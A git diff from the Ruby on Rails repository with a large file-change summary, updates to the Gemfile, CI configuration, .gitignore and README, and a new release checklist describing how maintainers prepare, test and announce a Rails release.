-rw-r--r--activesupport/lib/active_support/inflector/methods.rb107
-rw-r--r--activesupport/lib/active_support/json/encoding.rb14
-rw-r--r--activesupport/lib/active_support/log_subscriber/test_helper.rb4
-rw-r--r--activesupport/lib/active_support/message_encryptor.rb72
-rw-r--r--activesupport/lib/active_support/message_verifier.rb19
-rw-r--r--activesupport/lib/active_support/notifications.rb103
-rw-r--r--activesupport/lib/active_support/ordered_hash.rb7
-rw-r--r--activesupport/lib/active_support/railtie.rb1
-rw-r--r--activesupport/lib/active_support/tagged_logging.rb63
-rw-r--r--activesupport/lib/active_support/testing/assertions.rb8
-rw-r--r--activesupport/lib/active_support/time_with_zone.rb9
-rw-r--r--activesupport/lib/active_support/values/time_zone.rb34
-rw-r--r--activesupport/test/buffered_logger_test.rb53
-rw-r--r--activesupport/test/caching_test.rb171
-rw-r--r--activesupport/test/callbacks_test.rb12
-rw-r--r--activesupport/test/class_cache_test.rb43
-rw-r--r--activesupport/test/concern_test.rb7
-rw-r--r--activesupport/test/constantize_test_cases.rb37
-rw-r--r--activesupport/test/core_ext/array_ext_test.rb10
-rw-r--r--activesupport/test/core_ext/date_ext_test.rb10
-rw-r--r--activesupport/test/core_ext/date_time_ext_test.rb24
-rw-r--r--activesupport/test/core_ext/hash_ext_test.rb16
-rw-r--r--activesupport/test/core_ext/integer_ext_test.rb7
-rw-r--r--activesupport/test/core_ext/io_test.rb23
-rw-r--r--activesupport/test/core_ext/module/qualified_const_test.rb94
-rw-r--r--activesupport/test/core_ext/module/remove_method_test.rb29
-rw-r--r--activesupport/test/core_ext/module/synchronization_test.rb89
-rw-r--r--activesupport/test/core_ext/module_test.rb38
-rw-r--r--activesupport/test/core_ext/object/inclusion_test.rb10
-rw-r--r--activesupport/test/core_ext/object/to_query_test.rb9
-rw-r--r--activesupport/test/core_ext/object_and_class_ext_test.rb4
-rw-r--r--activesupport/test/core_ext/string_ext_test.rb39
-rw-r--r--activesupport/test/core_ext/time_ext_test.rb55
-rw-r--r--activesupport/test/core_ext/time_with_zone_test.rb11
-rw-r--r--activesupport/test/dependencies_test.rb19
-rw-r--r--activesupport/test/flush_cache_on_private_memoization_test.rb2
-rw-r--r--activesupport/test/inflector_test.rb41
-rw-r--r--activesupport/test/inflector_test_cases.rb1
-rw-r--r--activesupport/test/json/decoding_test.rb1
-rw-r--r--activesupport/test/message_encryptor_test.rb74
-rw-r--r--activesupport/test/message_verifier_test.rb26
-rw-r--r--activesupport/test/multibyte_utils_test.rb1
-rw-r--r--activesupport/test/notifications_test.rb21
-rw-r--r--activesupport/test/ordered_hash_test.rb5
-rw-r--r--activesupport/test/rescuable_test.rb2
-rw-r--r--activesupport/test/safe_buffer_test.rb6
-rw-r--r--activesupport/test/tagged_logging_test.rb67
-rw-r--r--activesupport/test/test_test.rb1
-rwxr-xr-xbin/rails7
-rwxr-xr-xci/travis.rb2
-rw-r--r--rails.gemspec2
-rw-r--r--railties/CHANGELOG2352
-rw-r--r--railties/CHANGELOG.md2407
-rw-r--r--railties/README.rdoc25
-rwxr-xr-xrailties/Rakefile9
-rwxr-xr-xrailties/bin/rails7
-rw-r--r--railties/guides/assets/images/i18n/demo_html_safe.pngbin0 -> 11946 bytes
-rw-r--r--railties/guides/code/getting_started/Gemfile27
-rw-r--r--railties/guides/code/getting_started/README261
-rw-r--r--railties/guides/code/getting_started/Rakefile7
-rw-r--r--railties/guides/code/getting_started/app/assets/images/rails.pngbin0 -> 6646 bytes
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/application.js9
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/comments.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/home.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/javascripts/posts.js.coffee3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/application.css7
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/comments.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/home.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/posts.css.scss3
-rw-r--r--railties/guides/code/getting_started/app/assets/stylesheets/scaffolds.css.scss56
-rw-r--r--railties/guides/code/getting_started/app/controllers/application_controller.rb3
-rw-r--r--railties/guides/code/getting_started/app/controllers/comments_controller.rb16
-rw-r--r--railties/guides/code/getting_started/app/controllers/home_controller.rb5
-rw-r--r--railties/guides/code/getting_started/app/controllers/posts_controller.rb84
-rw-r--r--railties/guides/code/getting_started/app/helpers/application_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/comments_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/home_helper.rb2
-rw-r--r--railties/guides/code/getting_started/app/helpers/posts_helper.rb5
-rw-r--r--railties/guides/code/getting_started/app/mailers/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/app/models/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/app/models/comment.rb3
-rw-r--r--railties/guides/code/getting_started/app/models/post.rb11
-rw-r--r--railties/guides/code/getting_started/app/models/tag.rb3
-rw-r--r--railties/guides/code/getting_started/app/views/comments/_comment.html.erb15
-rw-r--r--railties/guides/code/getting_started/app/views/comments/_form.html.erb13
-rw-r--r--railties/guides/code/getting_started/app/views/home/index.html.erb2
-rw-r--r--railties/guides/code/getting_started/app/views/layouts/application.html.erb14
-rw-r--r--railties/guides/code/getting_started/app/views/posts/_form.html.erb32
-rw-r--r--railties/guides/code/getting_started/app/views/posts/edit.html.erb6
-rw-r--r--railties/guides/code/getting_started/app/views/posts/index.html.erb27
-rw-r--r--railties/guides/code/getting_started/app/views/posts/new.html.erb5
-rw-r--r--railties/guides/code/getting_started/app/views/posts/show.html.erb31
-rw-r--r--railties/guides/code/getting_started/app/views/tags/_form.html.erb12
-rw-r--r--railties/guides/code/getting_started/config.ru4
-rw-r--r--railties/guides/code/getting_started/config/application.rb53
-rw-r--r--railties/guides/code/getting_started/config/boot.rb6
-rw-r--r--railties/guides/code/getting_started/config/database.yml25
-rw-r--r--railties/guides/code/getting_started/config/environment.rb5
-rw-r--r--railties/guides/code/getting_started/config/environments/development.rb30
-rw-r--r--railties/guides/code/getting_started/config/environments/production.rb63
-rw-r--r--railties/guides/code/getting_started/config/environments/test.rb37
-rw-r--r--railties/guides/code/getting_started/config/initializers/backtrace_silencers.rb7
-rw-r--r--railties/guides/code/getting_started/config/initializers/inflections.rb10
-rw-r--r--railties/guides/code/getting_started/config/initializers/mime_types.rb5
-rw-r--r--railties/guides/code/getting_started/config/initializers/secret_token.rb7
-rw-r--r--railties/guides/code/getting_started/config/initializers/session_store.rb8
-rw-r--r--railties/guides/code/getting_started/config/initializers/wrap_parameters.rb14
-rw-r--r--railties/guides/code/getting_started/config/locales/en.yml5
-rw-r--r--railties/guides/code/getting_started/config/routes.rb64
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901012504_create_posts.rb11
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901012815_create_comments.rb12
-rw-r--r--railties/guides/code/getting_started/db/migrate/20110901013701_create_tags.rb11
-rw-r--r--railties/guides/code/getting_started/db/schema.rb43
-rw-r--r--railties/guides/code/getting_started/db/seeds.rb7
-rw-r--r--railties/guides/code/getting_started/doc/README_FOR_APP2
-rw-r--r--railties/guides/code/getting_started/lib/assets/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/lib/tasks/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/public/404.html26
-rw-r--r--railties/guides/code/getting_started/public/422.html26
-rw-r--r--railties/guides/code/getting_started/public/500.html26
-rw-r--r--railties/guides/code/getting_started/public/favicon.ico0
-rw-r--r--railties/guides/code/getting_started/public/robots.txt5
-rwxr-xr-xrailties/guides/code/getting_started/script/rails6
-rw-r--r--railties/guides/code/getting_started/test/fixtures/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/fixtures/comments.yml11
-rw-r--r--railties/guides/code/getting_started/test/fixtures/posts.yml11
-rw-r--r--railties/guides/code/getting_started/test/fixtures/tags.yml9
-rw-r--r--railties/guides/code/getting_started/test/functional/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/functional/comments_controller_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/functional/home_controller_test.rb9
-rw-r--r--railties/guides/code/getting_started/test/functional/posts_controller_test.rb49
-rw-r--r--railties/guides/code/getting_started/test/integration/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/performance/browsing_test.rb12
-rw-r--r--railties/guides/code/getting_started/test/test_helper.rb13
-rw-r--r--railties/guides/code/getting_started/test/unit/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/test/unit/comment_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/comments_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/home_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/helpers/posts_helper_test.rb4
-rw-r--r--railties/guides/code/getting_started/test/unit/post_test.rb7
-rw-r--r--railties/guides/code/getting_started/test/unit/tag_test.rb7
-rw-r--r--railties/guides/code/getting_started/vendor/assets/stylesheets/.gitkeep0
-rw-r--r--railties/guides/code/getting_started/vendor/plugins/.gitkeep0
-rw-r--r--railties/guides/rails_guides/generator.rb51
-rw-r--r--railties/guides/rails_guides/textile_extensions.rb25
-rw-r--r--railties/guides/source/3_0_release_notes.textile4
-rw-r--r--railties/guides/source/3_1_release_notes.textile431
-rw-r--r--railties/guides/source/action_controller_overview.textile22
-rw-r--r--railties/guides/source/action_mailer_basics.textile90
-rw-r--r--railties/guides/source/action_view_overview.textile89
-rw-r--r--railties/guides/source/active_model_basics.textile205
-rw-r--r--railties/guides/source/active_record_basics.textile62
-rw-r--r--railties/guides/source/active_record_querying.textile321
-rw-r--r--railties/guides/source/active_record_validations_callbacks.textile215
-rw-r--r--railties/guides/source/active_resource_basics.textile120
-rw-r--r--railties/guides/source/active_support_core_extensions.textile209
-rw-r--r--railties/guides/source/ajax_on_rails.textile76
-rw-r--r--railties/guides/source/api_documentation_guidelines.textile8
-rw-r--r--railties/guides/source/asset_pipeline.textile467
-rw-r--r--railties/guides/source/association_basics.textile65
-rw-r--r--railties/guides/source/caching_with_rails.textile21
-rw-r--r--railties/guides/source/command_line.textile38
-rw-r--r--railties/guides/source/configuring.textile74
-rw-r--r--railties/guides/source/contribute.textile70
-rw-r--r--railties/guides/source/contributing_to_ruby_on_rails.textile49
-rw-r--r--railties/guides/source/debugging_rails_applications.textile7
-rw-r--r--railties/guides/source/engines.textile618
-rw-r--r--railties/guides/source/form_helpers.textile13
-rw-r--r--railties/guides/source/generators.textile20
-rw-r--r--railties/guides/source/getting_started.textile347
-rw-r--r--railties/guides/source/i18n.textile48
-rw-r--r--railties/guides/source/index.html.erb11
-rw-r--r--railties/guides/source/initialization.textile68
-rw-r--r--railties/guides/source/layout.html.erb10
-rw-r--r--railties/guides/source/layouts_and_rendering.textile101
-rw-r--r--railties/guides/source/migrations.textile117
-rw-r--r--railties/guides/source/performance_testing.textile16
-rw-r--r--railties/guides/source/plugins.textile32
-rw-r--r--railties/guides/source/rails_application_templates.textile24
-rw-r--r--railties/guides/source/rails_on_rack.textile45
-rw-r--r--railties/guides/source/routing.textile13
-rw-r--r--railties/guides/source/ruby_on_rails_guides_guidelines.textile7
-rw-r--r--railties/guides/source/security.textile23
-rw-r--r--railties/guides/source/testing.textile12
-rw-r--r--railties/lib/rails.rb6
-rw-r--r--railties/lib/rails/application.rb47
-rw-r--r--railties/lib/rails/application/bootstrap.rb22
-rw-r--r--railties/lib/rails/application/configuration.rb39
-rw-r--r--railties/lib/rails/application/finisher.rb1
-rw-r--r--railties/lib/rails/application/route_inspector.rb75
-rw-r--r--railties/lib/rails/code_statistics.rb17
-rw-r--r--railties/lib/rails/commands.rb3
-rw-r--r--railties/lib/rails/commands/application.rb8
-rw-r--r--railties/lib/rails/commands/console.rb2
-rw-r--r--railties/lib/rails/commands/dbconsole.rb2
-rw-r--r--railties/lib/rails/commands/plugin.rb320
-rw-r--r--railties/lib/rails/commands/server.rb2
-rw-r--r--railties/lib/rails/console/app.rb48
-rw-r--r--railties/lib/rails/console/helpers.rb14
-rw-r--r--railties/lib/rails/engine.rb92
-rw-r--r--railties/lib/rails/engine/commands.rb5
-rw-r--r--railties/lib/rails/generators.rb4
-rw-r--r--railties/lib/rails/generators/actions.rb36
-rw-r--r--railties/lib/rails/generators/app_base.rb39
-rw-r--r--railties/lib/rails/generators/base.rb8
-rw-r--r--railties/lib/rails/generators/rails/app/USAGE6
-rw-r--r--railties/lib/rails/generators/rails/app/app_generator.rb6
-rw-r--r--railties/lib/rails/generators/rails/app/templates/Gemfile8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css6
-rw-r--r--railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt2
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/application.rb18
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/development.rb.tt3
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/production.rb.tt18
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/environments/test.rb.tt8
-rw-r--r--railties/lib/rails/generators/rails/app/templates/config/initializers/wrap_parameters.rb.tt10
-rw-r--r--railties/lib/rails/generators/rails/app/templates/gitignore20
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/500.html1
-rw-r--r--railties/lib/rails/generators/rails/app/templates/public/index.html2
-rw-r--r--railties/lib/rails/generators/rails/controller/templates/controller.rb2
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/plugin_new_generator.rb26
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/%name%.gemspec27
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/Gemfile25
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/app/mailers/.empty_directory0
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/%name%/application.html.erb.tt (renamed from railties/lib/rails/generators/rails/plugin_new/templates/app/views/layouts/application.html.erb.tt)2
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/gitignore6
-rw-r--r--railties/lib/rails/generators/rails/plugin_new/templates/lib/%name%/version.rb3
-rw-r--r--railties/lib/rails/generators/rails/scaffold_controller/templates/controller.rb4
-rw-r--r--railties/lib/rails/generators/resource_helpers.rb6
-rw-r--r--railties/lib/rails/generators/test_case.rb6
-rw-r--r--railties/lib/rails/generators/test_unit/model/templates/fixtures.yml2
-rw-r--r--railties/lib/rails/generators/test_unit/scaffold/templates/functional_test.rb8
-rw-r--r--railties/lib/rails/initializable.rb9
-rw-r--r--railties/lib/rails/paths.rb4
-rw-r--r--railties/lib/rails/plugin.rb3
-rw-r--r--railties/lib/rails/rack.rb1
-rw-r--r--railties/lib/rails/rack/content_length.rb38
-rw-r--r--railties/lib/rails/rack/logger.rb38
-rw-r--r--railties/lib/rails/railtie.rb5
-rw-r--r--railties/lib/rails/tasks/documentation.rake16
-rw-r--r--railties/lib/rails/tasks/engine.rake1
-rw-r--r--railties/lib/rails/tasks/misc.rake4
-rw-r--r--railties/lib/rails/tasks/routes.rake34
-rw-r--r--railties/lib/rails/test_help.rb2
-rw-r--r--railties/lib/rails/test_unit/testing.rake6
-rw-r--r--railties/railties.gemspec2
-rw-r--r--railties/test/application/asset_debugging_test.rb65
-rw-r--r--railties/test/application/assets_test.rb403
-rw-r--r--railties/test/application/configuration_test.rb18
-rw-r--r--railties/test/application/console_test.rb13
-rw-r--r--railties/test/application/middleware/cache_test.rb14
-rw-r--r--railties/test/application/middleware/cookies_test.rb47
-rw-r--r--railties/test/application/middleware/sendfile_test.rb3
-rw-r--r--railties/test/application/middleware/show_exceptions_test.rb41
-rw-r--r--railties/test/application/middleware_test.rb9
-rw-r--r--railties/test/application/rack/logger_test.rb2
-rw-r--r--railties/test/application/rackup_test.rb2
-rw-r--r--railties/test/application/rake_test.rb153
-rw-r--r--railties/test/application/route_inspect_test.rb131
-rw-r--r--railties/test/application/routing_test.rb2
-rw-r--r--railties/test/application/test_test.rb10
-rw-r--r--railties/test/fixtures/lib/generators/usage_template/USAGE1
-rw-r--r--railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb5
-rw-r--r--railties/test/generators/actions_test.rb50
-rw-r--r--railties/test/generators/app_generator_test.rb54
-rw-r--r--railties/test/generators/assets_generator_test.rb2
-rw-r--r--railties/test/generators/orm_test.rb38
-rw-r--r--railties/test/generators/plugin_new_generator_test.rb47
-rw-r--r--railties/test/generators/shared_generator_tests.rb4
-rw-r--r--railties/test/generators_test.rb6
-rw-r--r--railties/test/initializable_test.rb15
-rw-r--r--railties/test/isolation/abstract_unit.rb11
-rw-r--r--railties/test/railties/engine_test.rb142
-rw-r--r--railties/test/railties/generators_test.rb2
-rw-r--r--railties/test/railties/mounted_engine_test.rb43
-rw-r--r--railties/test/railties/shared_tests.rb27
-rw-r--r--tasks/release.rb27
745 files changed, 35303 insertions, 24065 deletions
diff --git a/.gitignore b/.gitignore
index be764143aa..52a431867c 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,25 +1,24 @@
-*.gem
-pkg
-.bundle
-Gemfile.lock
+# Don't put *.swp, *.bak, etc here; those belong in a global ~/.gitignore.
+# Check out http://help.github.com/ignore-files/ for how to set that up.
+
debug.log
-doc/rdoc
-activemodel/doc
-activeresource/doc
-activerecord/doc
-actionpack/doc
-actionmailer/doc
-activesupport/doc
-activesupport/test/tmp
-activemodel/test/fixtures/fixture_database.sqlite3
-actionpack/test/tmp
-activesupport/test/fixtures/isolation_test
-dist
-railties/test/500.html
-railties/test/fixtures/tmp
-railties/test/initializer/root/log
-railties/doc
-railties/guides/output
-railties/tmp
-.rvmrc
-RDOC_MAIN.rdoc \ No newline at end of file
+.Gemfile
+/.bundle
+/.rbenv-version
+/.rvmrc
+/Gemfile.lock
+/pkg
+/dist
+/doc/rdoc
+/*/doc
+/*/test/tmp
+/activerecord/sqlnet.log
+/activemodel/test/fixtures/fixture_database.sqlite3
+/activesupport/test/fixtures/isolation_test
+/railties/test/500.html
+/railties/test/fixtures/tmp
+/railties/test/initializer/root/log
+/railties/doc
+/railties/guides/output
+/railties/tmp
+/RDOC_MAIN.rdoc
diff --git a/.travis.yml b/.travis.yml
index 596611ecf4..265124a3af 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -2,6 +2,7 @@ script: 'ci/travis.rb'
rvm:
- 1.8.7
- 1.9.2
+ - 1.9.3
env:
- "GEM=railties"
- "GEM=ap,am,amo,ares,as"
@@ -11,4 +12,8 @@ env:
notifications:
email: false
irc:
- - "irc.freenode.org#rails-contrib" \ No newline at end of file
+ on_success: change
+ on_failure: always
+ channels:
+ - "irc.freenode.org#rails-contrib"
+bundler_args: --path vendor/bundle
diff --git a/Gemfile b/Gemfile
index ec064bbda8..65950cdc2e 100644
--- a/Gemfile
+++ b/Gemfile
@@ -5,20 +5,28 @@ gemspec
if ENV['AREL']
gem "arel", :path => ENV['AREL']
else
- gem "arel", '~> 2.1.3'
+ gem "arel", :git => "git://github.com/rails/arel"
end
+gem "bcrypt-ruby", "~> 3.0.0"
gem "jquery-rails"
+
+if ENV['JOURNEY']
+ gem "journey", :path => ENV['JOURNEY']
+else
+ gem "journey", :git => "git://github.com/rails/journey"
+end
+
# This needs to be with require false to avoid
# it being automatically loaded by sprockets
-gem "uglifier", ">= 1.0.0", :require => false
+gem "uglifier", ">= 1.0.3", :require => false
-gem "rake", ">= 0.8.7"
+gem "rake", ">= 0.8.7"
gem "mocha", ">= 0.9.8"
group :doc do
gem "rdoc", "~> 3.4"
- gem "horo", "= 1.0.3"
+ gem "sdoc", "~> 0.3"
gem "RedCloth", "~> 4.2" if RUBY_VERSION < "1.9.3"
gem "w3c_validators"
end
@@ -28,14 +36,11 @@ gem "memcache-client", ">= 1.8.5"
platforms :mri_18 do
gem "system_timer"
- gem "ruby-debug", ">= 0.10.3" unless ENV['TRAVIS']
gem "json"
end
-platforms :mri_19 do
- # TODO: Remove the conditional when ruby-debug19 supports Ruby >= 1.9.3
- gem "ruby-debug19", :require => "ruby-debug" unless RUBY_VERSION > "1.9.2" || ENV['TRAVIS']
-end
+# Add your own local bundler stuff
+instance_eval File.read ".Gemfile" if File.exists? ".Gemfile"
platforms :mri do
group :test do
@@ -52,19 +57,18 @@ platforms :ruby do
gem "nokogiri", ">= 1.4.5"
# AR
- gem "sqlite3", "~> 1.3.3"
+ gem "sqlite3", "~> 1.3.4"
group :db do
gem "pg", ">= 0.11.0" unless ENV['TRAVIS'] # once pg is on travis this can be removed
gem "mysql", ">= 2.8.1"
- gem "mysql2", ">= 0.3.6"
+ gem "mysql2", ">= 0.3.10"
end
end
platforms :jruby do
- gem "ruby-debug", ">= 0.10.3"
gem "json"
- gem "activerecord-jdbcsqlite3-adapter"
+ gem "activerecord-jdbcsqlite3-adapter", ">= 1.2.0"
# This is needed by now to let tests work on JRuby
# TODO: When the JRuby guys merge jruby-openssl in
@@ -72,8 +76,8 @@ platforms :jruby do
gem "jruby-openssl"
group :db do
- gem "activerecord-jdbcmysql-adapter"
- gem "activerecord-jdbcpostgresql-adapter"
+ gem "activerecord-jdbcmysql-adapter", ">= 1.2.0"
+ gem "activerecord-jdbcpostgresql-adapter", ">= 1.2.0"
end
end
@@ -88,3 +92,6 @@ if ENV['ORACLE_ENHANCED_PATH'] || ENV['ORACLE_ENHANCED']
gem "activerecord-oracle_enhanced-adapter", :git => "git://github.com/rsim/oracle-enhanced.git"
end
end
+
+# A gem necessary for ActiveRecord tests with IBM DB
+gem "ibm_db" if ENV['IBM_DB']
diff --git a/README.rdoc b/README.rdoc
index bca2126559..0def4e5d12 100644
--- a/README.rdoc
+++ b/README.rdoc
@@ -3,33 +3,33 @@
Rails is a web-application framework that includes everything needed to create
database-backed web applications according to the {Model-View-Controller (MVC)}[http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller] pattern.
-Understanding the MVC pattern is key to understanding Rails. MVC divides your application
+Understanding the MVC pattern is key to understanding Rails. MVC divides your application
into three layers, each with a specific responsibility.
The View layer is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates
-can come in a variety of formats, but most view templates are HTML with embedded Ruby
+appropriate representations of your application's resources. Templates
+can come in a variety of formats, but most view templates are \HTML with embedded Ruby
code (.erb files).
The Model layer represents your domain model (such as Account, Product, Person, Post)
and encapsulates the business logic that is specific to your application. In Rails,
-database-backed model classes are derived from ActiveRecord::Base. ActiveRecord allows
+database-backed model classes are derived from ActiveRecord::Base. Active Record allows
you to present the data from database rows as objects and embellish these data objects
with business logic methods. Although most Rails models are backed by a database, models
can also be ordinary Ruby classes, or Ruby classes that implement a set of interfaces as
provided by the ActiveModel module. You can read more about Active Record in its
-{README}[link:blob/master/activerecord/README.rdoc].
+{README}[link:/rails/rails/blob/master/activerecord/README.rdoc].
The Controller layer is responsible for handling incoming HTTP requests and providing a
-suitable response. Usually this means returning HTML, but Rails controllers can also
+suitable response. Usually this means returning \HTML, but Rails controllers can also
generate XML, JSON, PDFs, mobile-specific views, and more. Controllers manipulate models
and render view templates in order to generate the appropriate HTTP response.
In Rails, the Controller and View layers are handled together by Action Pack.
These two layers are bundled in a single package due to their heavy interdependence.
-This is unlike the relationship between the Active Record and Action Pack which are
+This is unlike the relationship between Active Record and Action Pack which are
independent. Each of these packages can be used independently outside of Rails. You
-can read more about Action Pack in its {README}[link:blob/master/actionpack/README.rdoc].
+can read more about Action Pack in its {README}[link:/rails/rails/blob/master/actionpack/README.rdoc].
== Getting Started
@@ -49,7 +49,7 @@ can read more about Action Pack in its {README}[link:blob/master/actionpack/READ
Run with <tt>--help</tt> for options.
-4. Go to http://localhost:3000/ and you'll see:
+4. Go to http://localhost:3000 and you'll see:
"Welcome aboard: You're riding Ruby on Rails!"
@@ -61,13 +61,14 @@ can read more about Action Pack in its {README}[link:blob/master/actionpack/READ
* The {Ruby on Rails Guides}[http://guides.rubyonrails.org].
* The {API Documentation}[http://api.rubyonrails.org].
-
== Contributing
We encourage you to contribute to Ruby on Rails! Please check out the {Contributing to Rails
guide}[http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html] for guidelines about how
to proceed. {Join us}[http://contributors.rubyonrails.org]!
+== Travis Build Status {<img src="https://secure.travis-ci.org/rails/rails.png"/>}[http://travis-ci.org/rails/rails]
+
== License
Ruby on Rails is released under the MIT license.
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
new file mode 100644
index 0000000000..9f25adeccc
--- /dev/null
+++ b/RELEASING_RAILS.rdoc
@@ -0,0 +1,238 @@
+= Releasing Rails
+
+In this document, we'll cover the steps necessary to release Rails. Each
+section contains steps to take during that time before the release. The times
+suggested in each header are just that: suggestions. However, they should
+really be considered as minimums.
+
+== 10 Days before release
+
+Today is mostly coordination tasks. Here are the things you must do today:
+
+=== Is the CI green? If not, make it green. (See "Fixing the CI")
+
+Do not release with a Red CI. You can find the CI status here:
+
+ http://travis-ci.org/#!/rails/rails
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+Sam Ruby keeps a test suite that makes sure the code samples in his book (Agile
+Web Development with Rails) all work. These are valuable integration tests
+for Rails. You can check the status of his tests here:
+
+ http://intertwingly.net/projects/dashboard.html
+
+Do not release with Red AWDwR tests.
+
+=== Are the postgres tests green? If not, make them green
+
+Currently Travis CI doesn't run the Active Record postgres tests. They are
+working to resolve this, but in the mean time, it is crucial to ensure that
+the tests are still green before release.
+
+=== Do we have any git dependencies? If so, contact those authors.
+
+Having git dependencies indicates that we depend on unreleased code.
+Obviously rails cannot be released when it depends on unreleased code.
+Contact the authors of those particular gems and work out a release date that
+suits them.
+
+=== Contact the security team (either Koz or tenderlove)
+
+Let them know of your plans to release. There may be security issues to be
+addressed, and that can impact your release date.
+
+=== Notify implementors.
+
+Ruby implementors have high stakes in making sure Rails works. Be kind and
+give them a heads up that Rails will be released soonish.
+
+Send an email just giving a heads up about the upcoming release to these
+lists:
+
+* team@jruby.org
+* community@rubini.us
+* rubyonrails-core@googlegroups.com
+
+Implementors will love you and help you.
+
+== 3 Days before release
+
+This is when you should release the release candidate. Here are your tasks
+for today:
+
+=== Is the CI green? If not, make it green.
+
+=== Is Sam Ruby happy? If not, make him happy.
+
+=== Are the postgres tests green? If not, make them green
+
+=== Contact the security team. CVE emails must be sent on this day.
+
+=== Create a release branch.
+
+From the stable branch, create a release branch. For example, if you're
+releasing Rails 3.0.10, do this:
+
+ [aaron@higgins rails (3-0-stable)]$ git checkout -b 3-0-10
+ Switched to a new branch '3-0-10'
+ [aaron@higgins rails (3-0-10)]$
+
+=== Update each CHANGELOG.
+
+Many times commits are made without the CHANGELOG being updated. You should
+review the commits since the last release, and fill in any missing information
+for each CHANGELOG.
+
+You can review the commits for the 3.0.10 release like this:
+
+ [aaron@higgins rails (3-0-10)]$ git log v3.0.9..
+
+If you're doing a stable branch release, you should also ensure that all of
+the CHANGELOG entries in the stable branch are also synced to the master
+branch.
+
+=== Update the RAILS_VERSION file to include the RC.
+
+=== Build and test the gem.
+
+Run `rake install` to generate the gems and install them locally. Then try
+generating a new app and ensure that nothing explodes.
+
+This will stop you from looking silly when you push an RC to rubygems.org and
+then realise it is broken.
+
+=== Release the gem.
+
+IMPORTANT: Due to YAML parse problems on the rubygems.org server, it is safest
+to use Ruby 1.8 when releasing.
+
+Run `rake release`. This will populate the gemspecs with data from
+RAILS_VERSION, commit the changes, tag it, and push the gems to rubygems.org.
+Here are the commands that `rake release` should use, so you can understand
+what to do in case anything goes wrong:
+
+ $ rake all:build
+ $ git commit -am'updating RAILS_VERSION'
+ $ git tag -m'tagging rc release' v3.0.10.rc1
+ $ git push
+ $ git push --tags
+ $ for i in $(ls dist); do gem push $i; done
+
+=== Send Rails release announcements
+
+Write a release announcement that includes the version, changes, and links to
+github where people can find the specific commit list. Here are the mailing
+lists where you should announce:
+
+* rubyonrails-core@googlegroups.com
+* rubyonrails-talk@googlegroups.com
+* ruby-talk@ruby-lang.org
+
+Use markdown format for your announcement. Remember to ask people to report
+issues with the release candidate to the rails-core mailing list.
+
+IMPORTANT: If any users experience regressions when using the release
+candidate, you *must* postpone the release. Bugfix releases *should not*
+break existing applications.
+
+=== Post the announcement to the Rails blog.
+
+If you used markdown format for your email, you can just paste it in to the
+blog.
+
+* http://weblog.rubyonrails.org
+
+=== Post the announcement to the Rails twitter account.
+
+== Time between release candidate and actual release
+
+Check the rails-core mailing list and the github issue list for regressions in
+the RC.
+
+If any regressions are found, fix the regressions and repeat the release
+candidate process. We will not release the final until 72 hours after the
+last release candidate has been pushed. This means that if users find
+regressions, the scheduled release date must be postponed.
+
+When you fix the regressions, do not create a new branch. Fix them on the
+stable branch, then cherry pick the commit to your release branch. No other
+commits should be added to the release branch besides regression fixing commits.
+
+== Day of release
+
+Many of these steps are the same as for the release candidate, so if you need
+more explanation on a particular step, so the RC steps.
+
+Today, do this stuff in this order:
+
+* Apply security patches to the release branch
+* Update CHANGELOG with security fixes.
+* Update RAILS_VERSION to remove the rc
+* Build and test the gem
+* Release the gems
+* Email security lists
+* Email general announcement lists
+
+=== Emailing the rails security announce list
+
+Email the security announce list once for each vulnerability fixed.
+
+You can do this, or ask the security team to do it.
+
+Email the security reports to:
+
+* rubyonrails-security@googlegroups.com
+* linux-distros@vs.openwall.org
+
+Be sure to note the security fixes in your announcement along with CVE numbers
+and links to each patch. Some people may not be able to upgrade right away,
+so we need to give them the security fixes in patch form.
+
+* Blog announcements
+* Twitter announcements
+* Merge the release branch to the stable branch.
+* Drink beer (or other cocktail)
+
+== Misc
+
+=== Fixing the CI
+
